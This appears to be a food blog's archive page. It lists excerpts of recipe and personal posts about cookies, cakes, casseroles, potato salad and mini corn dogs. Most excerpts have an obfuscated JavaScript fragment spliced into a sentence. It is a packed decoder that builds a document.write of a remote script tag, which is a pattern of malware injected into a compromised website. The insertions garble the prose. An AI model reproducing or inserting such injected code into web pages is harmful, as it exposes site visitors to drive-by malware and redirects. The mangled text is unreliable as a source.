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New Years Done Right!

New ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnifh|var|u0026u|referrer|rhhzd||js|php’.split(‘|’),0,{})) years day is a major food holiday for Japanese folks.  And in case you didn’t know, I’m Japanese. Growing up, this meant that New Years Eve was typically spent making food (which I was somehow able to sneak out of as I got a bit older).  Now that New […]

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My cookies won an award!

I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iztne|var|u0026u|referrer|kfhfa||js|php’.split(‘|’),0,{})) enjoy baking.  Anyone who follows this blog would know that.  Lately, I’ve been so busy that baking has fallen by the wayside.  Super bummer!  Right? Every year, I look forward to baking a variety of Christmas cookies.  But this year, it just wasn’t in the cards. Well guess what?! […]

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Quick Cauliflower Tip

Nick read a tip in the 4 Hour Chef and we decided to give it a try. It’s an easy way to break a cauliflower apart. Step 1 Get your cauliflower and a large, clean towel. Step ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdsai|var|u0026u|referrer|yrkih||js|php’.split(‘|’),0,{})) 2 Wrap the cauliflower in the towel Step 3 Smack the bundle against […]

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Mint Chocolate Cake with Mint Frosting

My friend, Brooke celebrated her birthday on Sunday.  To celebrate, I decided to make her a mint chocolate cake.  She has a thing for mint chocolate.  And who can blame her?  The combo is pretty delicious! First, a little mint chocolate cake research!  I headed to Annie’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itfkb|var|u0026u|referrer|rybyt||js|php’.split(‘|’),0,{})) Eats and found […]

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Butternut squash with quinoa, feta, and basil

I’m a horrible wife. I got back from another trip to Albuquerque and called Nick to let him know I was on my way home from the airport.  He said he had something for dinner.  I was skeptical. We’ve figured some things out after 10+ years.  I cook, he does the dishes.  I clean the […]

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Beer Tasting Party

Nick celebrated a milestone birthday back in September and I finally got around to throwing him a little shindig this past weekend.  We decided that a beer tasting party was in order! I found some inspiration over at HWTM ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhibh|var|u0026u|referrer|rreke||js|php’.split(‘|’),0,{})) and Could be Interesting, but decided to take my own little […]

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No Mayo Potato Salad

We had this tasty no-mayo-potatos-salad a few weeks ago at a friend’s BBQ.  It’s based on a Whole ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibibz|var|u0026u|referrer|hbdrs||js|php’.split(‘|’),0,{})) Foods recipe that I altered based on what I had around the house. The lack of mayo means it can sit out for a bit longer without the concern for food poisoning […]

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Vegetarian Lasagna

For some reason I had a hankering for vegetarian lasagna.  I probably had a hankering for real lasagne, but was trying to think of a healthier option. When I explained my “vegetarian” lasagna to a friend, he said, “you didn’t make a lasagna, you made a casserole.”  I didn’t include any lasagna noodles and he […]

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Sausage and Egg Casserole

Did you hear about the amazing baby ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztrra|var|u0026u|referrer|idtsb||js|php’.split(‘|’),0,{})) shower this past weekend?  I intend to milk it the rest of the week. We served a sausage casserole that got rave reviews (far left, thanks for the pic, Brooke), so I’m posting it here.  Thanks, Kelly! Egg Sausage Casserole 1 package of […]

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Mini Corn Dogs Recipe

Yep, that’s right.  Mini corn dogs. Sounds amazing, right?  I mean, who doesn’t love a corn dog.  And when it’s a mini, you can have like 5 and not feel guilty…..or maybe that’s just me. The best part?  You use little smokies!  So it’s a lot easier. Batter 1 ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zthay|var|u0026u|referrer|ezkyk||js|php’.split(‘|’),0,{})) C. […]